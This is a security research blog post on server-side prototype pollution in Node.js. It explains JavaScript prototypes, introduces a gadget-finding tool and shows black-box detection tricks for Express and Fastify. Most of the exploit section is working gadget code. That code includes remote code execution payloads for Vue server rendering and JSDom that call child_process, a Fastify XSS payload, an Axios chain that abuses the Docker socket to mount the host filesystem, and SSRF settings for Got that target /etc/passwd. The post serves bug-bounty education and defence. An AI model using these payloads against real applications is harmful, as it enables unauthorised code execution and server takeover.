Today, we will dive into the world of prototype pollution, focusing on server-side exploitation. Although this attack has become more prevalent for client-side or open-source applications, it can still be challenging to test and exploit in a black box scenario. In this blog post, we’ll first explore how prototypes work in JavaScript, then examine methods for detecting vulnerable websites and finally finding gadgets in popular libraries to develop a working exploit.
learn-bug-bounty
Server side prototype pollution, how to detect and exploit
February 15, 2023
Prototype pollution?
To have a comprehensive understanding of prototype pollution in JavaScript, it’s important to first grasp the concept of prototypes in the language. JavaScript is an object-oriented language that heavily relies on inheritance. For example, where does the method hasOwnProperty come from in the following example?
const x = {a: 42}
x.hasOwnProperty("a") // true
x.hasOwnProperty("hasOwnProperty") // false
When you try to access a property, JavaScript first looks at the object itself and checks if the property exists. If it exists, the value of this property is returned. If not, JavaScript looks if the same property exists in it’s prototype. This process is then repeated until the property is found, or when an object doesn’t have a prototype anymore.
This method actually comes from the prototype of x, which is Object.prototype.
You can access the prototype of any object via the magic property __proto__.
const x = {a: 42}
typeof x.hasOwnProperty // "function"
x.__proto__ === Object.prototype // true
x.__proto__.hasOwnProperty("hasOwnProperty") // true
const s = "test"
typeof s.hasOwnProperty // "function"
s.__proto__ === String.prototype // true
s.__proto__.hasOwnProperty("hasOwnProperty") // false
s.__proto__.__proto__ === Object.prototype // true
s.__proto__.__proto__.hasOwnProperty("hasOwnProperty") // true
The Object prototype is shared accross all objects, that mean if we modify it, it will affect all the object that use it.
const x = {y:42}
x.y // 42
x.z // undefined
Object.prototype.y = 'hello y'
Object.prototype.z = 'hello z'
x.y // 42
x.z // 'hello z'
In this example, the value of x.z is ‘hello z’ because the property z doesn’t exist in x but exists in the prototype. This is an important aspect to understand when it comes to prototype pollution. If an attacker can modify the prototype, they can affect all objects that inherit from it, which can lead to dangerous and unexpected consequences
Let’s look at a vulnerable code example:
const config = {
//allowCMD: true
}
const users = {
"guest": {name: "guest"},
}
function updateUser(username, prop, value){
users[username][prop] = value
}
app.route("/update", (req) => {
const {name, prop, value} = req.query
updateUser(name, prop, value)
})
app.route("/eval", (req) => {
const {code} = req.query
if (!config.allowEval){
return req.status(403)
}
eval(code)
})
In this example, submitting a request with name=__proto__&prop=allowEval&value=true will update the prototype of the users object with allowEval=true. Since the config and users objects share the same prototype, the next time we try to access the /eval route, we will be allowed to run arbitrary code.
The /update route is vulnerable to prototype pollution, and the /eval route is what we call a gadget. A gadget is essentially an access to an undefined property of an object. Since prototype pollution attacks allow for custom attributes to be written in any object that is not set, these undefined properties can allow an attacker to reach critical parts of the source code and change the behavior of the application.
Exploiting prototype pollution occurs in two parts. First, a way to write to the Object.prototype must be found, and then gadgets that can be used must be identified. This is similar to PHP unserialize gadgets. While these gadgets are not vulnerabilities themselves, they can be used to compromise a target if unserialize is used in an insecure way.
How to find gadgets
PP Finder
PP Finder is a tool that simplifies the task of finding prototype pollution gadgets in a JavaScript codebase. It is designed to facilitate the detection of these vulnerabilities by analyzing all the JavaScript files present in a given directory, and producing a instrumented version that highlights the potentially vulnerable sections of the code.
The tool works by using the TypeScript parser to generate an Abstract Syntax Tree (AST) for each file. It then modifies this tree by injecting hooks that will detect if an undefined property is accessed. Once the modification is complete, the original file is replaced with the modified version that contains the detection hooks.
By modifying the AST, PP Finder is able to detect a wide range of prototype pollution gadgets that might otherwise be difficult to spot.
Once the hook process is complete, you can run the code just like before, and PP Finder will report any potential gadget and provides the location of the relevant sections of the code. With this information, you can analyze the gadget code and determine how it can be leveraged to achieve arbitrary code execution or other malicious behavior.
Detecting Server Side Pollution
Detecting prototype pollution without access to the application source code can be challenging. Previous research has focused on polluting methods such as toString or valueOf to trigger a crash. While this can be a way to check for proto pollution, causing a crash might not be the optimal solution for everyone.
With the help of pp-finder, we targeted two of the most popular web server for node in order to find a way to detect the pollution without the crash. Here is our findings.
Express (4.18.2)
Express is by far the most popular nodejs http server. By default express use some basic caching mechanismn that can abused in order to check for PP.
When we send a request with the ‘if-none-match’ header, we expect to receive a 304 not modified response.
To verify whether the pollution attack was successful, we can resend the initial request. If we receive a 304 response, it indicates that our exploit did not work. On the other hand, if we receive a 200 response and the etag matches, it means that the website is vulnerable.
⚠️ It’s important to note that disabling the cache in this way can affect the experience of other users.
Fastify (4.13.0)
Fastify is another popular HTTP server with a focus on writing API server, most of the time using json as data encoding.
This is normal ouput for /
Now we try to add Content-Type: application/json; polluted=true
If the exploit is successful we should see polluted=true in the response content-type.
⚠️ If the application expect something else than JSON as input, this will probably make the application unusable.
To leverage our ability to detect server-side prototype pollution, we must now create payloads that can be used to exploit vulnerabilities in popular JavaScript libraries.
Generic PP exploits
Here is a collection of gadget we found using PP-finder:
VueJS ^3.2.47
RCE using ssrCssVars, this variable is used in a call to Function, allowing arbitrary code execution.
const { createSSRApp } = require("vue");
const { renderToString } = require("vue/server-renderer");
Object.prototype.ssrCssVars = `1}; return _push(process.mainModule.require('child_process').execSync('id').toString())//`;
const app = createSSRApp({
template: `<div></div>`,
});
renderToString(app).then((html) => {
console.log(html);
});
JSDom ^21.1.0
RCE if <script src=> is present somewhere is the html.
const { JSDOM } = require("jsdom");
const payload = `console.log(
this.constructor
.constructor("return process")()
.mainModule.require("child_process")
.execSync("id")
.toString()
);`;
Object.prototype.runScripts = "dangerously";
Object.prototype.resources = "usable";
Object.prototype.url = ["data:/"]
Object.prototype.path = ["#"]
Object.prototype.username = `application/javascript,${payload} //`
const dom = new JSDOM(`<script src="script.js"></script>`);
RCE if an iframe is used:
const { JSDOM } = require("jsdom");
const payload = `console.log(
this.constructor
.constructor("return process")()
.mainModule.require("child_process")
.execSync("id")
.toString()
);`;
Object.prototype.runScripts = "dangerously";
Object.prototype.resources = "usable";
Object.prototype.url = ["data:/"]
Object.prototype.path = ["#"]
Object.prototype.username = `text/html,<script>${payload}</script>`
const dom = new JSDOM(`<iframe src="/frame"></iframe>`);
Fastify ^4.13.0
Almost universal XSS
Object.prototype["content-type"] = "text/html;json;";
json
Axios 0.27.2
We didn’t found a way to change the host or the path of a request made with axios. However we found that it’s possible to force axios to send the request to a local unix socket.
We also found a way to change the body and the content-length of the request.
As it is possible to write request body, headers and socketPath, we can use HTTP pipe-lining to write a completely new request within the body of the initial request:
Here is an RCE using docker.
import axios from "axios";
// Create a container
const body = JSON.stringify({
Image: "alpine:latest",
Cmd: ["sleep", "60"],
Volumes: { "/host": {} },
HostConfig: { Binds: ["/:/host"] },
});
const createContainer = [
"POST /containers/create?name=exploit HTTP/1.1",
"Host: foo.bar",
"Content-Type: application/json",
"Connection: keep-alive",
"Content-Length: " + body.length,
"",
body,
].join("rn");
// Run it
const startContainer = [
"POST /containers/exploit/start HTTP/1.1",
"Host: foo.bar",
"Content-Type: application/json",
"Connection: close",
"Content-Length: 0",
"",
"",
].join("rn");
// Redirect query to the docker socket
Object.prototype.socketPath = "/var/run/docker.sock";
Object.prototype.data = "1" + createContainer + startContainer; // HTTP request pipelining
// Add headers to all requests
Object.prototype.common = {
Connection: "keep-alive",
"Content-Length": "1", // Spoof the Content-Length to do HTTP request pipelining
};
await axios.get("http://localhost:31337/");
Or you can always use HTTP pipe-lining without the unix socket to craft arbitrary request on the original host (here localhost:31337)
Got 11.8.3
Got is another another http client, that can be use to perform ssrf.
// Override raw body ( affects Content-Type & Content-Length)
Object.prototype.body = "foo";
// Override json body ( affects Content-Type & Content-Length)
Object.prototype.json = {foo: 'bar'};
// Override connect host/port/path/search
Object.prototype.host = "localhost";
Object.prototype.port = 31337;
Object.prototype.path = "../../../etc/passwd";
Object.prototype.search = "woefijweofij";
// Creates basic auth
Object.prototype.username = "user";
Object.prototype.password = "pass";
Any other lib?
Maybe you will be able to find other gadgets using pp-finder, let us know!
Conclusion
In conclusion, prototype pollution is a dangerous vulnerability that can be exploited in various ways to execute arbitrary code or take control of a web application. Our pp-finder tool can help detect potential prototype pollution issues in a codebase, and we have demonstrated how to detect server-side prototype pollution in popular Node.js HTTP servers such as Express and Fastify. With this knowledge, we can begin to craft payloads that can exploit popular JavaScript libraries to perform prototype pollution attacks.
However, we would like to emphasize that this information should only be used for educational or research purposes with prior consent from the target. A prototype pollution can have a large variety of unexpected side effect, therefore it’s recommanded to avoid testing for it directly in production…
If you would like to learn more about prototype pollution or try our pp-finder tool, please visit our GitHub repository https://github.com/yeswehack/pp-finder.
You can also read this excellent article by Gareth Heyes, researcher at PortSwigger: Server-side prototype pollution: Black-box detection without the DoS.